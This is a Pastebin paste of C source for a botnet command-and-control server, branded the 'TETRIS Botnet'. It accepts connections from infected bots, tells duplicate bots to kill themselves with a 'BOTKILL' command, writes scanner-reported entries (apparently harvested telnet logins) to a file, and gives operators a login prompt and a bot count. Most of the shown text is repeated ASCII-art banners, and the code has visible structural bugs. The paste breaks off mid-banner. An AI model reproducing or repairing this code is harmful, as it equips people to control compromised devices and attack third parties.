Advertisement
ZucoCheezy

Tetris-Server

Dec 1st, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 40.65 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18.  
  19. struct login_info {
  20.     char username[100];
  21.     char password[100];
  22. };
  23. static struct login_info accounts[100];
  24. struct clientdata_t {
  25.         uint32_t ip;
  26.         char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29.     int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32.     int sock;
  33.     struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42.  
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44.     int total = 0, got = 1;
  45.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46.     return got;
  47. }
  48. void trim(char *str) {
  49.     int i;
  50.     int begin = 0;
  51.     int end = strlen(str) - 1;
  52.     while (isspace(str[begin])) begin++;
  53.     while ((end >= begin) && isspace(str[end])) end--;
  54.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55.     str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58.     int flags, s;
  59.     flags = fcntl (sfd, F_GETFL, 0);
  60.     if (flags == -1) {
  61.         perror ("fcntl");
  62.         return -1;
  63.     }
  64.     flags |= O_NONBLOCK;
  65.     s = fcntl (sfd, F_SETFL, flags);
  66.     if (s == -1) {
  67.         perror ("fcntl");
  68.         return -1;
  69.     }
  70.     return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73.     struct addrinfo hints;
  74.     struct addrinfo *result, *rp;
  75.     int s, sfd;
  76.     memset (&hints, 0, sizeof (struct addrinfo));
  77.     hints.ai_family = AF_UNSPEC;
  78.     hints.ai_socktype = SOCK_STREAM;
  79.     hints.ai_flags = AI_PASSIVE;
  80.     s = getaddrinfo (NULL, port, &hints, &result);
  81.     if (s != 0) {
  82.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83.         return -1;
  84.     }
  85.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  86.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87.         if (sfd == -1) continue;
  88.         int yes = 1;
  89.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91.         if (s == 0) {
  92.             break;
  93.         }
  94.         close (sfd);
  95.     }
  96.     if (rp == NULL) {
  97.         fprintf (stderr, "Could not bind\n");
  98.         return -1;
  99.     }
  100.     freeaddrinfo (result);
  101.     return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105.         int sendMGM = 1;
  106.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107.         char *wot = malloc(strlen(msg) + 10);
  108.         memset(wot, 0, strlen(msg) + 10);
  109.         strcpy(wot, msg);
  110.         trim(wot);
  111.         time_t rawtime;
  112.         struct tm * timeinfo;
  113.         time(&rawtime);
  114.         timeinfo = localtime(&rawtime);
  115.         char *timestamp = asctime(timeinfo);
  116.         trim(timestamp);
  117.         int i;
  118.         for(i = 0; i < MAXFDS; i++)
  119.         {
  120.                 if(i == us || (!clients[i].connected)) continue;
  121.                 if(sendMGM && managements[i].connected)
  122.                 {
  123.                         send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  124.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125.                         send(i, ": ", 2, MSG_NOSIGNAL);
  126.                 }
  127.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  128.                 send(i, "\n", 1, MSG_NOSIGNAL);
  129.         }
  130.         free(wot);
  131. }
  132. void *BotEventLoop(void *useless) {
  133.     struct epoll_event event;
  134.     struct epoll_event *events;
  135.     int s;
  136.     events = calloc (MAXFDS, sizeof event);
  137.     while (1) {
  138.         int n, i;
  139.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  140.         for (i = 0; i < n; i++) {
  141.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  142.                 clients[events[i].data.fd].connected = 0;
  143.                 close(events[i].data.fd);
  144.                 continue;
  145.             }
  146.             else if (listenFD == events[i].data.fd) {
  147.                while (1) {
  148.                 struct sockaddr in_addr;
  149.                 socklen_t in_len;
  150.                 int infd, ipIndex;
  151.  
  152.                 in_len = sizeof in_addr;
  153.                 infd = accept (listenFD, &in_addr, &in_len);
  154.                 if (infd == -1) {
  155.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  156.                     else {
  157.                         perror ("accept");
  158.                         break;
  159.                          }
  160.                 }
  161.  
  162.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  163.                 int dup = 0;
  164.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  165.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  166.                     if(clients[ipIndex].ip == clients[infd].ip) {
  167.                         dup = 1;
  168.                         break;
  169.                     }}
  170.                 if(dup) {
  171.                     if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  172.                     close(infd);
  173.                     continue;
  174.                 }
  175.                 s = make_socket_non_blocking (infd);
  176.                 if (s == -1) { close(infd); break; }
  177.                 event.data.fd = infd;
  178.                 event.events = EPOLLIN | EPOLLET;
  179.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  180.                 if (s == -1) {
  181.                     perror ("epoll_ctl");
  182.                     close(infd);
  183.                     break;
  184.                 }
  185.                 clients[infd].connected = 1;
  186.             }
  187.             continue;
  188.         }
  189.         else {
  190.             int datafd = events[i].data.fd;
  191.             struct clientdata_t *client = &(clients[datafd]);
  192.             int done = 0;
  193.             client->connected = 1;
  194.             while (1) {
  195.                 ssize_t count;
  196.                 char buf[2048];
  197.                 memset(buf, 0, sizeof buf);
  198.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  199.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  200.                     trim(buf);
  201.                     if(strcmp(buf, "PING") == 0) {
  202.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  203.                         continue;
  204.                     }
  205.                     if(strstr(buf, "REPORT ") == buf) {
  206.                         char *line = strstr(buf, "REPORT ") + 7;
  207.                         fprintf(telFD, "%s\n", line);
  208.                         fflush(telFD);
  209.                         TELFound++;
  210.                         continue;
  211.                     }
  212.                     if(strstr(buf, "PROBING") == buf) {
  213.                         char *line = strstr(buf, "PROBING");
  214.                         scannerreport = 1;
  215.                         continue;
  216.                     }
  217.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  218.                         char *line = strstr(buf, "REMOVING PROBE");
  219.                         scannerreport = 0;
  220.                         continue;
  221.                     }
  222.                     if(strcmp(buf, "PONG") == 0) {
  223.                         continue;
  224.                     }
  225.                     printf("buf: \"%s\"\n", buf);
  226.                 }
  227.                 if (count == -1) {
  228.                     if (errno != EAGAIN) {
  229.                         done = 1;
  230.                     }
  231.                     break;
  232.                 }
  233.                 else if (count == 0) {
  234.                     done = 1;
  235.                     break;
  236.                 }
  237.             if (done) {
  238.                 client->connected = 0;
  239.                 close(datafd);
  240. }}}}}}
  241. unsigned int BotsConnected() {
  242.     int i = 0, total = 0;
  243.     for(i = 0; i < MAXFDS; i++) {
  244.         if(!clients[i].connected) continue;
  245.         total++;
  246.     }
  247.     return total;
  248. }
  249. int Find_Login(char *str) {
  250.     FILE *fp;
  251.     int line_num = 0;
  252.     int find_result = 0, find_line=0;
  253.     char temp[512];
  254.  
  255.     if((fp = fopen("login.txt", "r")) == NULL){
  256.         return(-1);
  257.     }
  258.     while(fgets(temp, 512, fp) != NULL){
  259.         if((strstr(temp, str)) != NULL){
  260.             find_result++;
  261.             find_line = line_num;
  262.         }
  263.         line_num++;
  264.     }
  265.     if(fp)
  266.         fclose(fp);
  267.     if(find_result == 0)return 0;
  268.     return find_line;
  269. }
  270.  
  271. void *BotWorker(void *sock) {
  272.     int datafd = (int)sock;
  273.     int find_line;
  274.     OperatorsConnected++;
  275.     pthread_t title;
  276.     char buf[2048];
  277.     char* username;
  278.     char* password;
  279.     memset(buf, 0, sizeof buf);
  280.     char botnet[2048];
  281.     memset(botnet, 0, 2048);
  282.     char botcount [2048];
  283.     memset(botcount, 0, 2048);
  284.     char statuscount [2048];
  285.     memset(statuscount, 0, 2048);
  286.  
  287.     FILE *fp;
  288.     int i=0;
  289.     int c;
  290.     fp=fopen("login.txt", "r");
  291.     while(!feof(fp)) {
  292.         c=fgetc(fp);
  293.         ++i;
  294.     }
  295.     int j=0;
  296.     rewind(fp);
  297.     while(j!=i-1) {
  298.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  299.         ++j;
  300.     }  
  301.    
  302.         char clearscreen [2048];
  303.         memset(clearscreen, 0, 2048);
  304.         sprintf(clearscreen, "\033[1A");
  305.         char user [5000];  
  306.        
  307.         sprintf(user, "\e[96mUsername\e[97m: ");
  308.        
  309.         if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
  310.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  311.         trim(buf);
  312.         char* nickstring;
  313.         sprintf(accounts[find_line].username, buf);
  314.         nickstring = ("%s", buf);
  315.         find_line = Find_Login(nickstring);
  316.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  317.         char password [5000];
  318.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  319.         sprintf(password, "\e[96mPassword\e[97m: ", accounts[find_line].username);
  320.         if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
  321.        
  322.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  323.  
  324.         trim(buf);
  325.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326.         memset(buf, 0, 2048);
  327.  
  328.         char yes1 [500];
  329.         char yes2 [500];
  330.         char yes3 [500];
  331.         char yes4 [500];
  332.         char yes5 [500];
  333.        
  334.         sprintf(yes1,  "\e[96mPlease wait... I am verifying your credentials \e[97m[\e[31m|\e[97m]\r\n", accounts[find_line].username);
  335.         sprintf(yes2,  "\e[96mPlease wait... I am verifying your credentials \e[97m[\e[32m/\e[97m]\r\n", accounts[find_line].username);
  336.         sprintf(yes3,  "\e[96mPlease wait... I am verifying your credentials \e[97m[\e[96m-\e[97m]\r\n", accounts[find_line].username);
  337.         sprintf(yes4,  "\e[96mPlease wait... I am verifying your credentials \e[97m[\e[35m/\e[97m]\r\n", accounts[find_line].username);
  338.         sprintf(yes5,  "\e[96mPlease wait... I am verifying your credentials \e[97m[\e[33m-\e[97m]\r\n", accounts[find_line].username);
  339.        
  340.        
  341.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  342.         if(send(datafd, yes1, strlen(yes1), MSG_NOSIGNAL) == -1) goto end;
  343.         sleep (1);
  344.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  345.         if(send(datafd, yes2, strlen(yes2), MSG_NOSIGNAL) == -1) goto end;
  346.         sleep (1);
  347.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  348.         if(send(datafd, yes3, strlen(yes3), MSG_NOSIGNAL) == -1) goto end;
  349.         sleep (1);
  350.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  351.         if(send(datafd, yes4, strlen(yes4), MSG_NOSIGNAL) == -1) goto end;
  352.         sleep (1);
  353.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  354.         if(send(datafd, yes5, strlen(yes5), MSG_NOSIGNAL) == -1) goto end;
  355.         sleep (1);
  356.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  357.        
  358.         goto Banner;
  359.         }
  360. void *TitleWriter(void *sock) {
  361.     int datafd = (int)sock;
  362.     char string[2048];
  363.     while(1) {
  364.         memset(string, 0, 2048);
  365.         sprintf(string, "%c]0; Bots Connected [ %d ] | [ %s ] - Users Online [ %d ]%c", '\033', BotsConnected(), accounts[find_line].username, OperatorsConnected, '\007');
  366.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  367.         sleep(2);
  368.         }
  369. }      
  370.         failed:
  371.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  372.         goto end;
  373.  
  374.         Banner:
  375.         pthread_create(&title, NULL, &TitleWriter, sock);
  376.         char x5asciibannerline1   [5000];
  377.         char x5asciibannerline2   [5000];
  378.         char x5asciibannerline3   [5000];
  379.         char x5asciibannerline4   [5000];
  380.         char x5asciibannerline5   [5000];
  381.         char x5asciibannerline6   [5000];
  382.         char x5asciibannerline7   [5000];
  383.         char x5asciibannerline8   [5000];
  384.         char x5asciibannerline9   [5000];
  385.         char x5asciibannerline10   [5000];
  386.         char x5asciibannerline11   [5000];
  387.         char x5asciibannerline12   [5000];
  388.         char x5asciibannerline13   [5000];
  389.         char x5asciibannerline14   [5000];
  390.         char x5asciibannerline15   [5000];
  391.  
  392.   sprintf(x5asciibannerline1,   "\e[90m                                                        \r\n");
  393.   sprintf(x5asciibannerline2,   "\e[90m                                                                                     \r\n");
  394.   sprintf(x5asciibannerline3,   "\e[31m              \e[31m█████╗        \e[96m████████╗        \e[34m██╗    \e[33m███╗      \r\n");
  395.   sprintf(x5asciibannerline4,   "\e[31m              \e[31m██╔══╝  \e[32m█████╗\e[96m╚══██╔══╝\e[35m██████╗ \e[34m██║\e[33m████         \r\n");
  396.   sprintf(x5asciibannerline5,   "\e[31m              \e[31m██║     \e[32m╔════╝         \e[35m██╔     \e[34m██║\e[33m██╔════╝      \r\n");
  397.   sprintf(x5asciibannerline6,   "\e[31m           \e[31m███      \e[32m██                                        \r\n");
  398.   sprintf(x5asciibannerline7,   "\e[31m           \e[31m╚══      \e[32m██                  \e[35m══██╗                 \r\n");
  399.   sprintf(x5asciibannerline8,   "\e[31m                    \e[32m█████╗     \e[96m██║   \e[35m██████╔╝   \e[33m███████╗      \r\n");
  400.   sprintf(x5asciibannerline9,   "\e[31m              \e[31m██║   \e[32m██╔══╝     \e[96m██║   \e[35m██╔══██╗\e[34m██║\e[33m╚════██║      \r\n");
  401.   sprintf(x5asciibannerline10,  "\e[31m              \e[31m██║   \e[32m███████╗   \e[96m██║   \e[35m██║  ██║\e[34m██║\e[33m███████║      \r\n");
  402.   sprintf(x5asciibannerline11,  "\e[31m              \e[31m╚═╝   \e[32m╚══════╝   \e[96m╚═╝   \e[35m╚═╝  ╚═╝\e[34m╚═╝\e[33m╚══════╝      \r\n");
  403.   sprintf(x5asciibannerline12,  "\e[90m                                                                                     \r\n");
  404.   sprintf(x5asciibannerline13,  "\e[97m       [\e[31m+\e[97m] \e[97mWelcome to the \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mBotnet \e[97m[\e[31m+\e[97m]        \r\n");
  405.   sprintf(x5asciibannerline14,  "\e[97m       [\e[31m+\e[97m] \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mServerside by \e[96mswitch  \e[97m[\e[31m+\e[97m]        \r\n");
  406.   sprintf(x5asciibannerline15,  "\e[90m                                                                                     \r\n");
  407.  
  408.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  409.         if(send(datafd, x5asciibannerline1, strlen(x5asciibannerline1), MSG_NOSIGNAL) == -1) goto end;
  410.         if(send(datafd, x5asciibannerline2, strlen(x5asciibannerline2), MSG_NOSIGNAL) == -1) goto end;
  411.         if(send(datafd, x5asciibannerline3, strlen(x5asciibannerline3), MSG_NOSIGNAL) == -1) goto end;
  412.         if(send(datafd, x5asciibannerline4, strlen(x5asciibannerline4), MSG_NOSIGNAL) == -1) goto end;
  413.         if(send(datafd, x5asciibannerline5, strlen(x5asciibannerline5), MSG_NOSIGNAL) == -1) goto end;
  414.         if(send(datafd, x5asciibannerline6, strlen(x5asciibannerline6), MSG_NOSIGNAL) == -1) goto end;
  415.         if(send(datafd, x5asciibannerline7, strlen(x5asciibannerline7), MSG_NOSIGNAL) == -1) goto end;
  416.         if(send(datafd, x5asciibannerline8, strlen(x5asciibannerline8), MSG_NOSIGNAL) == -1) goto end;
  417.         if(send(datafd, x5asciibannerline9, strlen(x5asciibannerline9), MSG_NOSIGNAL) == -1) goto end;
  418.         if(send(datafd, x5asciibannerline10, strlen(x5asciibannerline10), MSG_NOSIGNAL) == -1) goto end;
  419.         if(send(datafd, x5asciibannerline11, strlen(x5asciibannerline11), MSG_NOSIGNAL) == -1) goto end;
  420.         if(send(datafd, x5asciibannerline12, strlen(x5asciibannerline12), MSG_NOSIGNAL) == -1) goto end;
  421.         if(send(datafd, x5asciibannerline13, strlen(x5asciibannerline13), MSG_NOSIGNAL) == -1) goto end;
  422.         if(send(datafd, x5asciibannerline14, strlen(x5asciibannerline14), MSG_NOSIGNAL) == -1) goto end;
  423.         if(send(datafd, x5asciibannerline15, strlen(x5asciibannerline15), MSG_NOSIGNAL) == -1) goto end;
  424.         sleep(1);
  425.         sprintf(clearscreen, "\033[2J\033[1;1H");
  426.  
  427.         char yeet2asciibannerline1   [5000];
  428.         char yeet2asciibannerline2   [5000];
  429.         char yeet2asciibannerline3   [5000];
  430.         char yeet2asciibannerline4   [5000];
  431.         char yeet2asciibannerline5   [5000];
  432.         char yeet2asciibannerline6   [5000];
  433.         char yeet2asciibannerline7   [5000];
  434.         char yeet2asciibannerline8   [5000];
  435.         char yeet2asciibannerline9   [5000];
  436.         char yeet2asciibannerline10   [5000];
  437.         char yeet2asciibannerline11   [5000];
  438.         char yeet2asciibannerline12   [5000];
  439.         char yeet2asciibannerline13   [5000];
  440.         char yeet2asciibannerline14   [5000];
  441.         char yeet2asciibannerline15   [5000];
  442.  
  443.   sprintf(yeet2asciibannerline1,   "\e[90m                                                         \r\n");
  444.   sprintf(yeet2asciibannerline2,   "\e[90m                                                                                      \r\n");
  445.   sprintf(yeet2asciibannerline3,   "\e[90m                                                                                      \r\n");
  446.   sprintf(yeet2asciibannerline4,   "\e[31m              \e[31m█████╗         \e[96m████████╗        \e[34m██╗    \e[33m███╗    \r\n");
  447.   sprintf(yeet2asciibannerline5,   "\e[31m              \e[31m██╔══╝   \e[32m█████╗\e[96m╚══██╔══╝\e[35m██████╗ \e[34m██║\e[33m████        \r\n");
  448.   sprintf(yeet2asciibannerline6,   "\e[31m           \e[31m\e[31m█████║    \e[32m██╔════╝         \e[35m██╔     \e[34m██║\e[33m██╔════╝    \r\n");
  449.   sprintf(yeet2asciibannerline7,   "\e[31m           \e[31m╚══       \e[32m██                  \e[35m══██╗          \r\n");
  450.   sprintf(yeet2asciibannerline8,   "\e[31m                     \e[32m█████╗     \e[96m██║   \e[35m██████╔╝   \e[33m███████╗    \r\n");
  451.   sprintf(yeet2asciibannerline9,   "\e[31m              \e[31m██║    \e[32m██╔══╝     \e[96m██║   \e[35m██╔══██╗\e[34m██║\e[33m╚════██║    \r\n");
  452.   sprintf(yeet2asciibannerline10,  "\e[96m              \e[31m██║    \e[32m███████╗   \e[96m██║   \e[35m██║  ██║\e[34m██║\e[33m███████║    \r\n");
  453.   sprintf(yeet2asciibannerline11,  "\e[31m              \e[31m╚═╝    \e[32m╚══════╝   \e[96m╚═╝   \e[35m╚═╝  ╚═╝\e[34m╚═╝\e[33m╚══════╝    \r\n");
  454.   sprintf(yeet2asciibannerline12,  "\e[90m                                                                                      \r\n");
  455.   sprintf(yeet2asciibannerline13,  "\e[97m        [\e[31m+\e[97m] \e[97mWelcome to the \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mBotnet \e[97m[\e[31m+\e[97m]        \r\n");
  456.   sprintf(yeet2asciibannerline14,  "\e[97m        [\e[31m+\e[97m] \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mServerside by \e[96mswitch  \e[97m[\e[31m+\e[97m]        \r\n");
  457.   sprintf(yeet2asciibannerline15,  "\e[90m                                                                                      \r\n");
  458.  
  459.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  460.         if(send(datafd, yeet2asciibannerline1, strlen(yeet2asciibannerline1), MSG_NOSIGNAL) == -1) goto end;
  461.         if(send(datafd, yeet2asciibannerline2, strlen(yeet2asciibannerline2), MSG_NOSIGNAL) == -1) goto end;
  462.         if(send(datafd, yeet2asciibannerline3, strlen(yeet2asciibannerline3), MSG_NOSIGNAL) == -1) goto end;
  463.         if(send(datafd, yeet2asciibannerline4, strlen(yeet2asciibannerline4), MSG_NOSIGNAL) == -1) goto end;
  464.         if(send(datafd, yeet2asciibannerline5, strlen(yeet2asciibannerline5), MSG_NOSIGNAL) == -1) goto end;
  465.         if(send(datafd, yeet2asciibannerline6, strlen(yeet2asciibannerline6), MSG_NOSIGNAL) == -1) goto end;
  466.         if(send(datafd, yeet2asciibannerline7, strlen(yeet2asciibannerline7), MSG_NOSIGNAL) == -1) goto end;
  467.         if(send(datafd, yeet2asciibannerline8, strlen(yeet2asciibannerline8), MSG_NOSIGNAL) == -1) goto end;
  468.         if(send(datafd, yeet2asciibannerline9, strlen(yeet2asciibannerline9), MSG_NOSIGNAL) == -1) goto end;
  469.         if(send(datafd, yeet2asciibannerline10, strlen(yeet2asciibannerline10), MSG_NOSIGNAL) == -1) goto end;
  470.         if(send(datafd, yeet2asciibannerline11, strlen(yeet2asciibannerline11), MSG_NOSIGNAL) == -1) goto end;
  471.         if(send(datafd, yeet2asciibannerline12, strlen(yeet2asciibannerline12), MSG_NOSIGNAL) == -1) goto end;
  472.         if(send(datafd, yeet2asciibannerline13, strlen(yeet2asciibannerline13), MSG_NOSIGNAL) == -1) goto end;
  473.         if(send(datafd, yeet2asciibannerline14, strlen(yeet2asciibannerline14), MSG_NOSIGNAL) == -1) goto end;
  474.         if(send(datafd, yeet2asciibannerline15, strlen(yeet2asciibannerline15), MSG_NOSIGNAL) == -1) goto end;
  475.         sleep(1);
  476.         sprintf(clearscreen, "\033[2J\033[1;1H");
  477.  
  478.         char lmao3asciibannerline1   [5000];
  479.         char lmao3asciibannerline2   [5000];
  480.         char lmao3asciibannerline3   [5000];
  481.         char lmao3asciibannerline4   [5000];
  482.         char lmao3asciibannerline5   [5000];
  483.         char lmao3asciibannerline6   [5000];
  484.         char lmao3asciibannerline7   [5000];
  485.         char lmao3asciibannerline8   [5000];
  486.         char lmao3asciibannerline9   [5000];
  487.         char lmao3asciibannerline10   [5000];
  488.         char lmao3asciibannerline11   [5000];
  489.         char lmao3asciibannerline12   [5000];
  490.         char lmao3asciibannerline13   [5000];
  491.         char lmao3asciibannerline14   [5000];
  492.         char lmao3asciibannerline15   [5000];
  493.        
  494.   sprintf(lmao3asciibannerline1,   "\e[90m                                                         \r\n");
  495.   sprintf(lmao3asciibannerline2,   "\e[90m                                                                                      \r\n");
  496.   sprintf(lmao3asciibannerline3,   "\e[90m                                                                                      \r\n");
  497.   sprintf(lmao3asciibannerline4,   "\e[90m                                                                                      \r\n");
  498.   sprintf(lmao3asciibannerline5,   "\e[31m              \e[31m█████╗        \e[96m████████╗        \e[34m██╗    \e[33m███╗     \r\n");
  499.   sprintf(lmao3asciibannerline6,   "\e[31m           \e[31m█████╔══╝\e[32m███████╗\e[96m╚══██╔══╝\e[35m██████╗ \e[34m██║\e[33m████         \r\n");
  500.   sprintf(lmao3asciibannerline7,   "\e[31m           \e[31m╚══██║   \e[32m██╔════╝         \e[35m██╔══██╗\e[34m██║\e[33m██╔════╝     \r\n");
  501.   sprintf(lmao3asciibannerline8,   "\e[31m                    \e[32m█████╗     \e[96m██║   \e[35m██████╔╝   \e[33m███████╗     \r\n");
  502.   sprintf(lmao3asciibannerline9,   "\e[96m              \e[31m██║   \e[32m██╔══╝     \e[96m██║   \e[35m██╔══██╗\e[34m██║\e[33m╚════██║     \r\n");
  503.   sprintf(lmao3asciibannerline10,  "\e[96m              \e[31m██║   \e[32m███████╗   \e[96m██║   \e[35m██║  ██║\e[34m██║\e[33m███████║     \r\n");
  504.   sprintf(lmao3asciibannerline11,  "\e[39m              \e[31m╚═╝   \e[32m╚══════╝   \e[96m╚═╝   \e[35m╚═╝  ╚═╝\e[34m╚═╝\e[33m╚══════╝     \r\n");
  505.   sprintf(lmao3asciibannerline12,  "\e[90m                                                                                      \r\n");
  506.   sprintf(lmao3asciibannerline13,  "\e[97m        [\e[31m+\e[97m] \e[97mWelcome to the \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mBotnet \e[97m[\e[31m+\e[97m]        \r\n");
  507.   sprintf(lmao3asciibannerline14,  "\e[97m        [\e[31m+\e[97m] \e[31mT\e[32mE\e[96mT\e[35mR\e[34mI\e[33mS \e[97mServerside by \e[96mswitch  \e[97m[\e[31m+\e[97m]        \r\n");
  508.   sprintf(lmao3asciibannerline15,  "\e[90m                                                                                      \r\n");
  509.  
  510.         if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -10) goto end;
  511.         if(send(datafd, lmao3asciibannerline1, strlen(lmao3asciibannerline1), MSG_NOSIGNAL) == -1) goto end;
  512.         if(send(datafd, lmao3asciibannerline2, strlen(lmao3asciibannerline2), MSG_NOSIGNAL) == -1) goto end;
  513.         if(send(datafd, lmao3asciibannerline3, strlen(lmao3asciibannerline3), MSG_NOSIGNAL) == -1) goto end;
  514.         if(send(datafd, lmao3asciibannerline4, strlen(lmao3asciibannerline4), MSG_NOSIGNAL) == -1) goto end;
  515.         if(send(datafd, lmao3asciibannerline5, strlen(lmao3asciibannerline5), MSG_NOSIGNAL) == -1) goto end;
  516.         if(send(datafd, lmao3asciibannerline6, strlen(lmao3asciibannerline6), MSG_NOSIGNAL) == -1) goto end;
  517.         if(send(datafd, lmao3asciibannerline7, strlen(lmao3asciibannerline7), MSG_NOSIGNAL) == -1) goto end;
  518.         if(send(datafd, lmao3asciibannerline8, strlen(lmao3asciibannerline8), MSG_NOSIGNAL) == -1) goto end;
  519.         if(send(datafd, lmao3asciibannerline9, strlen(lmao3asciibannerline9), MSG_NOSIGNAL) == -1) goto end;
  520.         if(send(datafd, lmao3asciibannerline10, strlen(lmao3asciibannerline10), MSG_NOSIGNAL) == -1) goto end;
  521.         if(send(datafd, lmao3asciibannerline11, strlen(lmao3asciibannerline11), MSG_NOSIGNAL) == -1) goto end;
  522.         if(send(datafd, lmao3asciibannerline12, strlen(lmao3asciibannerline12), MSG_NOSIGNAL) == -1) goto end;
  523.         if(send(datafd, lmao3asciibannerline13, strlen(lmao3asciibannerline13), MSG_NOSIGNAL) == -1) goto end;
  524.         if(send(datafd, lmao3asciibannerline14, strlen(lmao3asciibannerline14), MSG_NOSIGNAL) == -1) goto end;
  525.         if(send(datafd, lmao3asciibannerline15, strlen(lmao3asciibannerline15), MSG_NOSIGNAL) == -1) goto end;
  526.         sleep(1);
  527.         sprintf(clearscreen, "\033[2J\033[1;1H");
  528.  
  529.         char lol4asciibannerline1   [5000];
  530.         char lol4asciibannerline2   [5000];
  531.         char lol4asciibannerline3   [5000];
  532.         char lol4asciibannerline4   [5000];
  533.         char lol4asciibannerline5   [5000];
  534.         char lol4asciibannerline6   [5000];
  535.         char lol4asciibannerline7   [5000];
  536.         char lol4asciibannerline8   [5000];
  537.         char lol4asciibannerline9   [5000];
  538.         char lol4asciibannerline10   [5000];
  539.         char lol4asciibannerline11   [5000];
  540.         char lol4asciibannerline12   [5000];
  541.         char lol4asciibannerline13   [5000];
  542.         char lol4asciibannerline14   [5000];
  543.         char lol4asciibannerline15   [5000];
  544.        
  545.   sprintf(lol4asciibannerline1,   "\e[90m                                                         \r\n");
  546.   sprintf(lol4asciibannerline2,   "\e[90m                                                                                       \r\n");
  547.   sprintf(lol4asciibannerline3,   "\e[90m                                                                                       \r\n");
  548.   sprintf(lol4asciibannerline4,   "\e[90m                                                                                       \r\n");
  549.   sprintf(lol4asciibannerline5,   "\e[90m                                                                                       \r\n");
  550.   sprintf(lol4asciibannerline6,   "\e[31m           \e[31m████████╗ \e[32m███████╗ \e[96m████████╗ \e[35m██████╗  \e[34m██╗ \e[33m███████╗      \r\n");
  551.   sprintf(lol4asciibannerline7,   "\e[31m           \e[31m╚══██╔══╝ \e[32m██╔════╝ \e[96m╚══██╔══╝ \e[35m██╔══██╗ \e[34m██║ \e[33m██╔════╝      \r\n");
  552.   sprintf(lol4asciibannerline8,   "\e[31m              \e[31m██║    \e[32m█████╗      \e[96m██║    \e[35m██████╔╝ \e[34m██║ \e[33m███████╗      \r\n");
